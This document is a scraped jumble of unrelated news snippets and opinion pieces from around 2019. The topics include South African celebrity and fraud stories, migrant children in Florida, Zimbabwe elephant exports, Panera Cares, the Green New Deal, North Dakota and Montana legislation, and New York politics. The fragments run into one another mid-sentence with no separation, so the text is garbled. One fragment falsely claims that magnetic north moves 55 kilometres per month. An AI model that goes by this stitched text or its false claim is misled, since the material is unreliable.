withdrawn from the bank.Investigations also revealed that Tafirei used proceeds of the crime to buy a tipper truck hired out to mines in Shurugwi.Sebastian Mutizirwa appeared for the State.Featured Post Europe rallies for Indigenous rights as Zapatistas arrive in Spain Zapata lives! Zapatista Army Squadron 421 disembarks in Galicia to begin its European tour The delegation was received by an assembly of col...

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About Censored News Censored News is published by Brenda Norrell. Since 2006, Censored News has received more than 20 million pageviews. As a collective of writers, photographers and broadcasters, we publish news of Indigenous Peoples and human rights. Contact publisher Brenda Norrell: brendanorrell@gmail.com

From the publisher Censored News is published by Brenda Norrell, a journalist in Indian country for 39 years. Norrell created Censored News after she was censored and terminated as a staff reporter at Indian Country Today in 2006. She began as a reporter at Navajo Times during the 18 years that she lived on the Navajo Nation. She was a stringer for AP and USA Today and later traveled with the Zapatistas through Mexico. She has been blacklisted by all the mainstream media for 14 years. Contact brendanorrell@gmail.com

TranslateActress, Amanda Du Pont and her bae, Shawn Rodriques are still enjoying their holiday in Thailand. It's obvious from her snaps on social media that she's enjoying the sunshine and sea, which gives her the prefect opportunity to show off her bikini body goals.

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Amanda and her bae, Shawn Rodriques jetted off to Thailand more than two weeks ago to celebrate his 31st birthday.

During his 30th birthday vacay in the Maldives last year, Shawn popped the question and she said yes.

This year the two decided to celebrate his 31st birthday at the Pimalai Resort in Koh Lanta, Thailand. Amanda shared some sensational snaps of her in different bikinis during her island holiday on her Instagram page recently.

Here are 5 snaps that show off her beautiful bikini body:

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READ ALSO: DJ Zinhle teaches Kairo about responsibility by getting a puppy

Briefly.co.za reported when Shawn Rodriques proposed to Amanda during their dreamy holiday in the Maldives.

Amanda and Shawn were staying at Velingandu Island Resort in the Maldives to celebrate his 30th birthday last year. The proposal was a surprise. Rodriques filmed every moment and shared it on her vlog.

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Source: Briefly.co.za- Home Affairs says that the investigation is a routine part of the investigation surrounding the fraud charges against Bushiri

- Bushiri came to South Africa from Malawi in 2009 and acquired permanent residency in 2016

- His church, however, has been open since 2012

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The Department of Home Affairs is reportedly investigating ECG church Prophet Shepherd Bushiri's residency in South Africa.

This comes after Bushiri and his wife were arrested for fraud and money laundering.

The Bushiris are originally from Malawi.

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Bushiri and his wife, who are leading figures within the massive Enlightened Christian Gathering church, are out on bail following their arrest.

The Department of Home Affairs says its examination of their residency status is a routine part of the investigation into the fraud charges.

Bushiri reportedly fist came to South Africa in 2009, but only received permanent residency in 2016. This was done so that he could set up his church, according to Eyewitness News.

However, there are reports that his church first opened its doors four years before that, in 2016.

This is the latest in a series of shady allegations against ECG church. Last year, the church made headlines when a stampeded occurred on its premises, resulting in 3 deaths.

The local community protested against ECG and demanded that the church be removed from its Pretoria showgrounds location.

READ ALSO: Police officer opened case of assault against EFF after #SONA2019 slap

SANCO also took ECG to court over the deaths and pent months negotiating with the church.

Additionally, some churchgoers were charged with obstructing the ends of justice for reportedly moving the bodies of the stampeded victims to a different location and failing to notify the police.

Home Affairs has said that its investigation into the Bushiris' residency status should be finished within the next few days.

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Source: Briefly.co.zaLiving Gospel Equality Now: Loving in the Heart of God: Association of Roman Catholic Women PriestsThousands of migrant children who present themselves at the US-Mexico border seeking asylum are sent by the U.S. government to an emergency intake facility in South Florida.

The Homestead "temporary influx facility" is the largest shelter for migrant children in the country. Homestead is the only such facility run by a for-profit corporation. It is also the only one that receives no oversight from state regulators.

From John Burnett's report for NPR:

Discipline is strict. The teenagers walk single file in groups of 12, escorted by a youth-care worker. They smile at a visitor and call out "hola" when greeted.

But that's all a reporter ever hears.

On these visits, journalists are not permitted to record anything, take photographs, or speak to the children. It's for the minors' privacy and protection, officials say.

Several days after the tour, a group of attorneys agrees to sit down and describe their interviews with two dozen of the migrant children. They have been granted access to these shelters by a federal judge to oversee the welfare of unaccompanied kids in federal custody.

"We see a very different picture," says Leecia Welch, senior director of legal advocacy and child welfare at the National Center for Youth Law. "We see extremely traumatized children, some of whom sit across from us and can't stop crying over what they're experiencing."

She continues, "We hear stories of children who are told from the first day of their orientation that under no circumstances can they touch another child in the facility, even their own sibling, even friends who they're saying goodbye to after many months of shared intense experience. They can't hug them goodbye. If they do, they're told they will be written up and it could affect their immigration case."

Welch concludes, "We see a very different picture than the reporters see."

Blizzard/Activision posted $7.5b in net revenues for 2018, and announced that it would lay off 800 of the employees who made those revenues possible, but fear not! The last time the company did a mass layoff (600 people in 2012), it generously rehired those people as temps, doing the same jobs for less pay, with no security or benefits.



The layoffs targeted the most precarious workers at the company: low-earning temps and contractors pulling long shifts in the hopes of getting hired on permanently.





CEO Robert A. Kotick took home $28.6 million in 2017.



As a former Activision Blizzard employee, allow me to congratulate you all on posting a record $7.5 billion net revenue for the calendar year 2018, and on upending the lives of some 800 human beings that helped make that incredible feat possible. I was working as an In-Game Support Representative (also known as a "Game Master") in Blizzard's World of Warcraft customer support department when the Activision/Vivendi merger finalized in the summer of 2008. While many of us were concerned about Activision's potential influence on Blizzard's sacred creative freedom, many fears were assuaged by management's generous gift of a free copy of Guitar Hero: Aerosmith for the Wii. Of course, the hundreds of us who were considered temporary full-time employees did not receive any "perks" like free Aerosmith games, despite doing the same work as full-time regular employees, just at $9 an hour instead of $11. Don't you worry, though! I persevered and eventually earned my place as a full-time Blizzard employee  $11 an hour and everything  and was even allowed to attend the annual Blizzard Christmas party, which temporary full-time employees were barred from. Trading in my purple employee badge for a red one was one of the proudest moments of my young life.

Kiss My Ass, Activision Blizzard [Jordan Mallory/Fanbyte]





(Thanks, JJ!)With a world full of travel options starting to reopen as we speak, is it still really worth it to tote around a big, bulky suitcase or carry-on bag for getting all of your important stuff from Point A to Point B? Especially if there's an option that might just serve you better? Of course, READ THE RESTThe vice president will essentially call out Iran for their actions. He will give a message to those groups that are there, that, you know, if you stand with us, well stand with you, a White House official said.

Conservative Christian and expressionless piece of furniture man Mike Pence, who is currently the Vice President of the Trump Administration, plans to visit the Auschwitz-Birkenau death camp site on Friday, and tour a memorial to Jewish detainees who were murdered there by Nazis in occupied Poland.

On Friday the Polish President @AndrzejDuda and the Vice President of the USA @VP Mike Pence and their wives will visit the @AuschwitzMuseum. Accreditation for media (accreditation ends on February 12, 7 pm CET): https://t.co/OB07fFM6Wn  Auschwitz Memorial (@AuschwitzMuseum) February 11, 2019

Pence's European trip will focus on Donald Trump/John Bolton's idea that Iran is the source of all Middle East turmoil.

From the Washington Post, recapping a White House press briefing held today:Zimbabwes repeated capture and export of infant and juvenile elephant calves like these has sparked global condemnation because of the horrific conditions under which these young elephants are kept. Photo by Alamy

156.0K shares







It is the worst kind of wildlife abuse, and it is happening right now  again  in Zimbabwe, where 35 baby elephants have been torn away from their mothers in the wild and are awaiting export to zoos in China. According to The Times of London, the calves, some as young as two years old, are being held in pens in Hwange National Park while travel crates are prepared and documents finalized for their 7,000-mile transport.

This is the fourth time since 2012 that Zimbabwe has captured and exported baby elephants to Chinese zoos  a total of 108 elephants  despite opposition from other African countries, elephant experts, and non-governmental organizations, including the Humane Society of the United States and Humane Society International. In October 2017, HSI obtained exclusive footage of 14 young elephants awaiting export to Chinese zoos, after their capture from Hwange National Park by the Zimbabwe Parks and Wildlife Management Authority. The footage showed the calves being beaten and kicked as they were being sedated and taken away to the parks holding pens. In 2016, Zimbabwe exported 30 baby elephants to Chinese zoos. Several juvenile elephants in earlier shipments had died during transit or after arrival. It was shocking to see photos of the few surviving baby elephants, standing alone in dark, barren cells after their arrival in China.

The exports are even more disturbing given that China and Zimbabwe have in the past failed to conform with requirements under the Convention on International Trade in Endangered Species (CITES). In 2016, when China sought to import 30 elephants from Zimbabwe, a team of Zimbabwean inspectors who travelled to China to assess the facilities the elephants would be housed in found them inadequate. The inspectors reported that most of the zoos showed signs of poor treatment of the animals and recommended the elephants remain in Zimbabwe until appropriate holding facilities in China were completed and assessed for compliance. Despite this recommendation, the elephants were exported to China without such reforms being implemented.

Zimbabwes repeated capture and export of infant and juvenile elephant calves has sparked global condemnation because of the horrific conditions under which these young elephants are kept. Elephant expert Dr Joyce Poole  widely regarded as the worlds leading elephant communication specialist  has described the activities as tragic and morally reprehensible. The African Elephant Coalition (AEC), a coalition of 32 African elephant range states, has also repeatedly spoken out against the capture and trade of wild baby elephants for captivity. HSI co-led a report on challenges to the trade in wild-caught African elephants with the AEC, and our staff is now attending the AECs summit in Kenya where we expect to hear strong objections raised over this most recent and brutal capture of wild baby elephants.

In defense of the practice, Zimbabwes Minister of the Environment Oppah Muchinguri-Kashiri has said that her country intends to increase the rate and range of wildlife exports as part of a scheme to raise funds for conservation. The Chinese have inquired about more elephants, baboons, hyenas, lions, among others, and we will sell them more without hesitation. We are not going to apologise to anyone, she said.

Unfortunately, our appeals to the Zimbabwe government to stop these exports have fallen on deaf ears. In January 2018, HSI/Africa and 33 partners submitted a letter to Zimbabwes new president, Emmerson Mnangagwa, pleading for a halt to the horrific abuse and practice of capturing elephants from the wild for captivity. We did this after learning of his statement that called for a review of Zimbabwes conservation decisions following recent elephant exports. With this most recent capture of the baby elephants, little appears to have changed in how Zimbabwe handles its precious wildlife.

African elephants are currently listed as a threatened species with less than 500,000 remaining in the wild, and the global community is increasingly in agreement on the need to conserve these animals. Keeping elephants and other wildlife alive is also key to economic progress in so many African nations, because millions of tourists trek to these countries to see them there. By ripping baby elephants from their mothers and sending them to lives diminished by captivity in zoos overseas, Zimbabwe is setting itself on a path that will not only decimate its wildlife but will also further compromise its standing in the eyes of the world.

Say no to the capture and export of baby elephants from Zimbabwe to ChinaLast week two Congressional Democrats, Rep. Alexandria Ocasio-Cortez and Sen. Ed Markey, unveiled their Green New Deal. The resolution claims that environmental and economic conditions require the federal government to take drastic action, such as updating or replacing every building in the country and guaranteeing jobs to all Americans. The proposal has been described as the same old socialist hooey, and even many Democrats consider it unfeasible.

Senate Majority Leader Mitch McConnell announced yesterday that he wants the Senate to vote on the resolution. Ill give everybody an opportunity to go on record and see how they feel about the Green New Deal, said McConnell.

McConnell seems to think hes going to embarrass Congressional Democrats by showing theyre out of sync with voters. But what he may be showing is that he doesnt fully understand why were even talking about the Green New Deal in the first place.

Those who are proposing the Green New Deal recognize that its radical. Indeed, thats the point. As Megan McArdle explains,

Progressives frequently argue that getting to as much as possible requires setting goals that are out of reach. They call it shifting the Overton window, or widening the spectrum of plausible policy options, an idea broached in the 1990s by policy analyst Joseph P. Overton. The folk version: Ask for the stars, youll get the moon.

The Overton Window describes a window in the range of public reactions to ideas in public discourse. Overton believed that the spectrum included all possible options in a window of opportunity:

Imagine, if you will, a yardstick standing on end. On either end are the extreme policy actions for any political issue. Between the ends lie all gradations of policy from one extreme to the other. The yardstick represents the full political spectrum for a particular issue. The essence of the Overton window is that only a portion of this policy spectrum is within the realm of the politically possible at any time. Regardless of how vigorously a think tank or other group may campaign, only policy initiatives within this window of the politically possible will meet with success.

All issues fall somewhere along this policy continuum, which can be roughly outlined as: Unthinkable, Radical, Acceptable, Sensible, Popular, Policy. When the window moves or expands, ideas can accordingly become more or less politically acceptable.

Politicians are necessary to move an idea into the last phasepolicy. But its a misunderstanding of the process to think that politicians are driving the shift.

The most common misconception is that lawmakers themselves are in the business of shifting the Overton window, says Joseph Lehman, a colleague of the late Overton. That is absolutely false. Lawmakers are actually in the business of detecting where the window is, and then moving to be in accordance with it.

In other words, politicians respond to the publics definition of the window, not the other way around. McConnell seems to think the Green New Deal is a bizarre proposal that has no constituency. But as NPR notes, there are 67 co-sponsors in the House and 11 in the Senate, including several current or potential presidential contenders: Bernie Sanders, Kirsten Gillibrand, Elizabeth Warren, Cory Booker, and Amy Klobuchar.

The reason so many Democratic presidential candidates support a bizarre plan like the Green New Deal is not that they themselves believe in it (though many do) but that they know many of their voters (especially primary voters) support the proposal. Politicians arent know for their bravery or forward-thinking. If they are ready to support a position it is because they think there is a substantial and vocal portion of the electorate that has already shifted the Overton Window to a point where it has the potential to become policy.

That is why conservative Christians can no longer mock and shrug when a politicians endorses an ideasuch as infanticide or socialismthat we believe has been relegated to the dustbin of history. Progressive activists are constantly moving the Overton Window in disturbing ways. By the time we see progressive politicians nodding along in agreement, weve already reached a tipping point where the Unthinkable may soon become Policy.Panera has announced that it will close the last of its charitable stores, which allowed people to pay whatever they wished for a meal, because it was costing too much dough.

The Boston store will shut its doors permanently this Friday, February 15. Panera Cares were indistinguishable from other Panera eateries in their branding, menu, or furnishings, except they announced that no one would be turned away if they did not pay one cent of the suggested prices. Those who could not afford to pay full price could volunteer for an hour at the store in exchange for the food.

The first store debuted in 2010 and, soon, they served 4,000 people a week. At its height the unique model had four other locations in Portland, Oregon; Chicago, Illinois; Dearborn, Michigan; and the St. Louis suburb of Clayton, Missouri.

Panera founder Ron Shaich said part of his motivation in opening the stores was torturing the cynics, who were arguing customers would pour in to enjoy lunch on Uncle Ron.

What happened next was predictable. Swarms of high school students helped themselves to lunch each Monday through Friday. The homeless dined there every meal, every day.

At one point, Shaich confessed the free riders nearly drove him to physical violence:

I can literally remember a couple of kids  local kids walked into our store in Clayton, Mo. And they walked up to the counter kind of laughing. And they said, Ill have three smoothies and two roast beef sandwiches. And heres my dads credit card. Put three bucks on it. I just wanted to jump over that counter, and I wanted to grab the kid around the neck and whack him. And I just wanted to say, dont you get it  right?  somebody else has got to pay.

So after offering an bottomless supply of potentially free goods, Panera Cares found itself forced to restrict supplyotherwise known as rationing:

Panera has trained staff to turn away anyone drunk or on drugs, and the cafe works with Portland Police, the Hollywood Neighborhood Association and the Hollywood Boosters when issues arise.

Cafe managers met with the Grant principal and a letter was sent to parents.  Panera Cares now allows students to visit only after school hours.

Panera also educated the homeless about its mission. No one is no longer allowed to come every day, for every meal  only for a few meals a week.

Were not a soup kitchen, [manager Dave] Hardin said. Were only one piece of the puzzle.

Customers complained on Yelp that Panera used other disincentives to prevent misuse or overuse, including publicly shaming poor and elderly customers. Employees were accused of profiling, and Shaich ordered them to undergo sensitivity training.

The charity experiment produced other negative externalities: The homeless began injecting intravenous drugs in the bathrooms, and neighbors said residential crime increased. One employee remembered, Wed open the door and look, and theres blood everywhere. So then wed have to close that bathroom. By the end, the Boston location changed the code for the womens restroom several times a day to prevent drug abuse.

But the real problem was economics  and public misperception of just how much damage large corporations will absorb.

The price model depended on having an equal number of people willing to pay more than the suggested price as those who paid less. The company assumed 60 percent of people would pay menu price, 20 percent would pay more.

But the Boston store claimed in January it earned 85 percent of its operating costs. (Its manager, Barry Combs, also confidently asserted, I know itll be here in a year, last month.) Other Panera Cares stores reportedly covered 60 to 70 percent of their expenses.

Planners guessed wrong, in part because of the belief that wealthy corporations can absorb any loss. The Boston Globe paraphrased Ayelet Gneezy, an associate professor at the University of California San Diego:

Consumers are willing to pay more under such circumstances, she said, if its clear to them that the proceeds will go to charity. In the case of Panera, however, some customers may have figured the company was successful enough to keep the stores running, no matter what they did or didnt pay for food. In other words, it wasnt evident to them that the outcome depended on their charity.

People simply believed multimillion-dollar corporations could, and would, pay any cost out of their endless vat of corporate profits. And ultimately, they killed the goose that laid the golden egg-on-brioche.

The first Panera Cares store closed after eight years, with the rest following.

Shaich, who sold Panera to JAB Holding Company in 2017, still believes it was a huge success, and they only closed because of high rent. Excuse me, right? This thing worked, he says. Youve served millions of people over many, many years.

The closures of every single store due to insufficient funds by no means means that this wasnt a success, he said.

But even Shaich admitted in 2018 that Panera Cares faltered, because the nature of the economics did not make sense.

The chain may have fared better to follow a different charitable strategy. Susan Dobscha of Bentley University, who co-authored a study of pay-what-you-want restaurants, said Panera Cares proved a case of misplaced resources.

Until 2010 the chain focused on maximizing profits and donating a percentage of food and money to extant charities serving those struggling with food security. That is, it followed the traditional Wesleyan formula, Earn all you can; save all you can; give all you can. These undertakings will still bear fruitand would likely would have done far more good for far more people than the handful of pay-what-you-wish stores.

Panera Cares failure presents a teachable moment during one of the Wests pivotal turning points.

National leaders across the Atlantic dream of offering free services  from college tuition, to health care, to healthy food  insisting that millionaires and billionaires will simply agree to foot the bill.

Socialism does not understand scarcity or incentives. Eventually there are limits  and they come faster than even their most devoted supporters conceive. In time the well runs dry, economic activity ceases to be profitable, the food stops being served  and the vulnerable pay the real price.

(Photo credit: NicholasConstantineKyriacou. This photo has been cropped and transformed for size. CC BY-SA 4.0.)Don Bosco High School, Matunga celebrated their Annual Thanksgiving on February 8 and 9, in gratitude for the numerous achievements and accolades won by the Institution after the Platinum Jubilee year.An enchanting musical, 'Seven Brides For Seven Brothers', its Hindi version being the famed 'Satte Pe Satta' was staged. The production told the tale of seven backwoodsmen, the Pontipee brothers. Uncouth and brash at the outset, they grow into refined men with a refreshing outlook after the eldest brother Adam brings home his bride, Millie. Members of the management including the Rector Father Crispino D'Souza, Principal Father Bernard Fernandes, Vice Principal and Administrator Father Roy Noronha, Coordinator C Rai, supervisors and head teachers were felicitated for their unwavering confidence and unstinting encouragement that has led the school to raise the bar each year. Meritorious and deserving students were also commended with awards and scholarships on day one of the celebrations.On day two, retired staff, Supervisor for standards five and six, Barbara Fernandes and the in-charge of the IT department Nelson D'Souza were felicitated for their dedication and commitment to the cause of education.The jubilarians, supervisor for standards seven and eight, Christina Mascarenhas and kindergarten teacher Blanche D'Souza were also felicitated for their silver years of service. Peons G Joseph and Ramesh Parmar were also commended for their successful innings in service at Matunga. There was a tribute to the late Rector Father Jude D'Mello. The Chief Guest Paul Machado, Principal, Campion school, iterated the shared responsibility parents and teachers have in the all-round growth and development of the child. "School is your second home, it is often said but home is also your second school," Machado said.On the occasion, the Guest of Honour Father Binu Jacob, Rector of Don Bosco Nepal, was presented a cheque of six lakh rupees as the schools mite from the outreach Christmas Panorama proceeds.The Principal Father Fernandes quoted Nobel Peace Prize Winner, former US Vice President and environmental activist Al Gore in praise of Pope Francis as being, "one of the strongest voices in the world calling for environmental protection."However, Hardmeyer said the board and administration decided it was just too much of a risk to enter the business, although they have had a lot of inquiries from other states and marijuana businesses about doing business or about learning how their bank works.

"We have concluded that it's not an area we are prepared to go down when there can be a federal fix and should be a federal fix," he said.

Wahl said his division has no regulatory authority over the banking aspect of the state's medical marijuana industry.

When the first dispensary opens in Fargo, scheduled for March 1, he believes only cash will be accepted as payment, although "that's yet to be determined."

The manufacturing facilities and dispensary companies, which are also opening up other "compassion centers" across the state, are working with financial institutions on possible solutions, Wahl said.

A part-owner of one of the North Dakota dispensaries, who didn't return a call to discuss the issue further, simply said that it was a "sensitive issue."The North Dakota Senate on Wednesday rejected a bill that would have allowed a person with a "documented disability" to teach in areas where there are teacher shortages.

Senate Bill 2199, sponsored by Senate Majority Leader Rich Wardner, R-Dickinson, received a unanimous "do not pass" recommendation from the Senate Education Committee.

Sen. David Rust, R-Tioga, said Wednesday that the committee learned there are several teachers in the state who meet all of the requirements to become a teacher but cannot pass an exam for beginning teachers.

However, Rust said the committee believed the North Dakota Education Standards and Practices Board would be better suited to make changes through their rules, rather than a law.

"Assurances have been given that ESPB rules will be implemented to address this and similar situations; therefore, the bill is not needed," Rust said.

The bill failed by a vote of 1-46.

(Reach Blair Emerson at 701-250-8251 or Blair.Emerson@bismarcktribune.com)

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Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.The North Dakota House overwhelmingly defeated a bill outlining a new higher education governance structure Tuesday, in a rebuke to a task force formed by Gov. Doug Burgum that recommended drastic changes to the existing model.

House Bill 1500 failed in a 74-19 vote. The legislation was contingent on voters approving a constitutional amendment that had not yet been introduced in the Legislature.

Lawmakers still have a week to introduce proposed amendments to the constitution, however. And in a statement issued after the vote, Burgum said he and other supporters of changing the higher education structure will keep working to put a proposal on the ballot in 2020.

"North Dakota voters deserve the opportunity to vote on an improved governance model that will make institutions more accountable to their governing boards and taxpayers, while also allowing them to be more responsive to the powerful economic, technological, cultural and demographic forces shaping higher education," he said. "This conversation continues in both chambers.

A Burgum spokesman didn't immediately provide details on any legislative efforts. Rep. Mike Nathe, R-Bismarck, a member of Burgum's task force, said the Senate is working on a resolution adjusting the existing single-board setup.A Fargo lawmaker said he was surprised and unhappy to see his data privacy bill watered down to a legislative study Tuesday.

A bill sponsored by Rep. Jim Kapser, R-Fargo, allowing consumers to request companies like Google and Facebook to delete and stop collecting their personal data came after national privacy scandals and was backed by a Microsoft official. The legislation would have also required companies to provide information about data they've collected and to correct inaccurate information.

Republican Gov. Doug Burgum, a former Microsoft executive, previously told reporters he supported the concept behind the bill.

But the House Industry, Business and Labor Committee slimmed down the bill to a mandatory study of data privacy issues during the interim period before the 2021 legislative session. The amended bill received a "do pass" recommendation and will arrive on the House floor soon.

Kasper had proposed delaying the effective date of the consumer protections for two years alongside the legislative study, a move he said would have forced technology companies to come to the table to hash out disagreements. But the committee opted only for a study instead, he said.

"I'm not happy at all," Kasper said. "The tech companies got to the committee.""Dental therapists may help marginalized persons gain access to dental care, but at what cost? Increased access does not necessarily equal quality care," Skroch said.

Skroch also said she and other members of the House Human Services Committee heard from a dentist who questioned "outside interests with a national agenda" behind the bill.

Devlin, however, said there are some practicing dentists in North Dakota who support it.

"In the (House Human Services Committee), we had dentists in both Fargo and Bismarck and elsewhere that have said they would hire dental therapists in their limited practices. Why in the world would we as a state Legislature prevent that from happening?" he said.

Emily Mallory, president of the state Dental Hygienists Association and spokeswoman for the North Dakotans for Dental Access, said she was disappointed the bill didn't pass.

"The level of training that these dental therapists do have, I think, needs to be witnessed by more of our legislators to get them to understand that they are highly trained and that this is not inadequate or harmful or dangerous care for patients," said Mallory, who is also a dental hygienist in Grand Forks.He said statistics show the number of people passing the practice on to their children is waning nationwide. Since 2000, the number of hunters in Idaho has only decreased about 3 percent  from 217,514 license holders in 2000 to 209,967 license holders in 2018. But the fact that Idaho's population has grown by around 400,000 people in that same time period raises red flags.

"Idaho has actually been able to maintain a steady level of license numbers, but as a percentage of the population, it's not as large as it was in the past," Malepeai said. "Part of it is just the changing demographics of the state."

The percentage of Idaho hunters in their 50s and 60s has increased over the past 20 years, while the percentage of hunters in their teens, 20s and 30s has slightly decreased.

"We're hoping for the best," Malepeai said. "But the fear is the baby boomer generation is just aging out [of hunting]. Our hope is we can keep this as part of what makes Idaho great."Many of the Coalitions members, supporters, and staff now feel they are effectively shut out of portions of the Crazy Mountains due to the illegal and obstructive actions of some landowners who insist the public has no right to use and access historic trails in the Crazy Mountains, the letter stated. The Coalition is thus compelled to submit this notice letter and, if necessary, pursue legal action.

The groups also argue that based on their research of documents, there is no question that the public has had (for nearly a century) and continues to have a right of public access to each of these five (and likely more) illegally blocked trails.

Members of the coalition include the Montana Chapter of Backcountry Hunters and Anglers, the Skyline Sportsmen Association, and John Gibson, a long-time member and official in the Public Land/Water Access Association.

Its one battle after another, said Tony Schoonen, of the Skyline Sportsmen Association, which has fought closure of public access routes in the Anaconda and Butte areas. Maybe Im in trouble for saying so, but I really dont care.The various scientific publications state that the magnetic North Pole is moving towards Russia at 55 kilometers per month. The problem now is how are the leftist Democrats and the national press is going to blame President Trump?State law requires auto insurance, but not fair policy pricing. Companies evaluate personal lives, not just driving records. Using different factors, each chooses who pays more.

Safe drivers  no DUIs, accidents or tickets  who bike ride, pay $500 more annually for coverage lapses. Thats what I found through Progressive. DUIs increased payments $36 annually. Are people who lapse more dangerous than drivers under the influence? Its not just cyclists; returning service members, people whose car broke down, and drivers who cant afford payments also pay more.

Perfect drivers occupation and education level impact payments. Geico charges cashiers with high-school diplomas $300 per year more than investment bankers with bachelors degrees. Are there special driving classes for investment bankers? Teachers with bachelors pay less than cashiers, but more than bankers.

Some companies slap massive surcharges for not having excellent credit. Consumer Reports noted that average Montanans with clean driving records and excellent credit pay $903 per year but $1,157 if merely good. Poor credit costs $2,589 per year, with no difference in driving record.Dan Stusek's guest column was deceitfully called, Rally ignored that outdoors is bipartisan in Montana (The Billings Gazette, Jan. 31). Stusek is the new hire for the carefully branded Montana Outdoors Coalition. Who does he think he's fooling?

One coalition board member, Terry Anderson, of the infamous PERC group out of Bozeman is another public trust privatizer. He's pushed for selling public lands for more than two decades, as well as private landowner hunting tags and doing away with Montanas most public friendly stream access law. Then there's Keith Kubista of Montana Sportsmen for Fish and Wildlife, the modern day Robin Hoods, they steal from the public and give to themselves and outfitters, helped by Republicans.

Finally, there's Rob Arnaud, an outfitter who has leased up tens of thousands of acres of Montana to sell trophy bull elk hunts for as much as $17,000. All of these people are trying to bring these schemes to privatize our public lands, waters, wildlife and fish for personal profit.Her only known public statement on the issue prior to Tuesday was given to KTWO-TV, which first reported on the story. "No comparison of that nature was made," she said in that statement. "If the children took my questions of what is sexual orientation? and turned it into a comparison, that is indeed a lie. I can say nothing further."

She did not respond to a call or email Friday from the Star-Tribune and declined to comment to reporters Monday in Cheyenne.

The LGTBQ youth, members of Cheyenne Central's Gay-Straight Alliance, had requested their Feb. 1 meeting with Hutchings to discuss House Bill 230, which would have given workplace protections to members of the LGBTQ community. The bill died after it was not voted on in time.

Hutchings said she made "four rhetorical questions" to the students but did not detail what the questions were. A quote from Hutchings cited in Wyoming Equality's complaint letter alluded to four questions, in regards to whether should would be legally protected: If my sexual orientation was to have sex with all of the men in there and I had sex with all of the women in there and then they brought their children and I had sex with all of them and then brought their dogs in and I had sex with them, should I be protected for my sexual orientation?Tester said the new version is permanently reauthorized, but will still have to go through annual appropriations for its spending capacity.

In the House, Gianforte praised passage of the two Montana measures and expected his colleagues would do the same.

The permanent reauthorization of the Land and Water Conservation Fund and the Yellowstone Gateway Protection Act will help preserve and expand public access to our public lands, Gianforte said in an email. I urge House leaders to keep the momentum going and quickly bring up this public lands package for a vote.

LWCF provides money to improve public lands by consolidating checkerboarded ownership patterns, funding fishing access sites and wildlife refuges, and underwriting the costs of park construction. Between 2014 and 2017, it was responsible for conserving 491,000 acres in 42 states.

Tester said the fund had been particularly beneficial to states west of the Mississippi River that have lots of public land. But he added the new version of the bill also assists places like the Eastern Seaboard where climate change has threatened to erode popular beaches.Trumps tweet said, If Elizabeth Warren, often referred by me as Pocahontas, did this commercial from Bighorn or Wounded Knee instead of her kitchen, with her husband dressed in full Indian garb, it would have been a smash!

Trump has repeatedly chided Warren for her claim to Native American ancestry, especially since she released DNA test results in October showing she is between 1/64th and 1/1,024th Native American.

Trumps tweet referencing Wounded Knee has been widely criticized. Sen. Mike Rounds, R-S.D., tweeted on Jan. 15, The Wounded Knee Massacre was one of the darkest moments in our history. It should never be used as a punchline. Rounds fellow Republican South Dakota congressional delegates, Sen. John Thune and Rep. Dusty Johnson, also criticized the Trump tweet.

Thune and Rounds were among the recipients of last weeks letters from Four Directions. Monday, in response to questions from the Rapid City Journal, spokespeople for the two senators reiterated their earlier criticisms of Trump's tweet but took no position on the Four Directions request, saying they are still reviewing it.

Johnson, after being shown the Four Directions letters, replied with a written statement.It was the summer of 2016 and Ruben Diaz Sr. was getting back surgery.

The septuagenarian state senator was fed up with Albany. The pay was too low and the commute too long. A City Council seat was opening up. He was thinking seriously about running for it.

As he lay in the hospital, an unexpected visitor came not once, but twice. He kept up afterward via email. The two men liked to schmooze about politics.

Corey Johnson, the eager hospital visitor, wanted to be speaker of the City Council.

Two and a half years later, Johnson, who indeed got that speakership shortly after Diaz Sr. won the open Council seat, is now calling for his old friend to resign. A chorus of City Council members, some of them gay like Johnson, want Diaz Sr. to go for telling a Spanish language station the City Council is controlled by the homosexual community.

(Johnson disputes the newspaper account of his visit to Diaz Sr. He told Gothamist he visited the reverend with former State Senator Thomas Duane, the first openly gay member of the State Senate. Denying Diaz Sr.'s claim in 2016, Johnson said he never emailed with the Bronx Democrat or talked politics with him.)

Diaz Sr., who is also a cowboy hat-wearing Pentecostal reverend, is unrepentant. He is a fierce opponent of same-sex marriage and the LGBTQ community writ large. In a brief interview with Gothamist, he refused to apologize. He said he would be holding a press conference and rally on Thursday outside his district office in the Bronx. Thank you very much, I have to go now, he said, hanging up.

These controversies are not new for the Democrat. If anything, his latest bout of homophobia is tame by past standards. He once equated being gay to having sex with animals and attacked the 1994 Gay Games in New York because he said the participants were likely infected with AIDS and could lead children to conclude that if there are so many gay and lesbian athletes then there is nothing wrong, nor any risks involved.

He sued to stop a high school for gay and transgender students from opening. In 2016, he proudly campaigned for president with Ted Cruz, the right-wing Republican senator from Texas.

For the uninitiated, Diaz Sr.s position of prominence in New Yorks political constellation can seem mystifying. How has an openly bigoted member of the Democratic Party in the Bronx, the home of Alexandria Ocasio-CortezDiaz Sr. represents her Parkchester neighborhoodsurvived this long in office? Counting a prior stint in the City Council, he has held office continually since 2002enabled by a Bronx Democratic apparatus, and powerful politicians like Johnson, who have continually looked the other way.

Diaz Sr.s relentless homophobia didnt deter Johnson, who is HIV positive, from offering Diaz a newly-created committee overseeing for-hire vehicles. The Bronx Democratic Party had coalesced around Johnsons speaker candidacy and Diaz, who is close to the Bronx party boss, Assemblyman Marcos Crespo, was a loyal soldier.

I made a mistake making him chair of a committee, Johnson told reporters Tuesday. I tried to give everyone a fresh start. Clearly that was a mistake  I tried to give him a second chance and he shouldnt have been afforded an opportunity.

This is a bewildering moment in time for the reverend, who has accustomed himself to a more typical pattern: he says something inflammatory, politicians grumble and move on. He enjoys being the provocateur, said former Bronx Assemblyman Michael Benjamin, who is now a member of the New York Post editorial board. Some people have seen it as such and are willing to look away.

Known for campaigning around his district in colorful sound trucks, Diaz Sr. has been tough to dislodge. He won his 2017 race with 42 percent of the vote in the primary, defeating four other contenders. Beyond the candidates themselves, there was no organized opposition against him.

Social conservatism has never been a disqualifier for politicians who want to rise to power in the Bronx. Diaz Sr. isnt even the only right-wing religious leader holding elected office in the borough: Fernando Cabrera, a city councilman and pastor, once praised the Ugandan government for passing a law criminalizing homosexuality. Like Diaz Sr., he ran with the support of the Bronx Democratic Party.

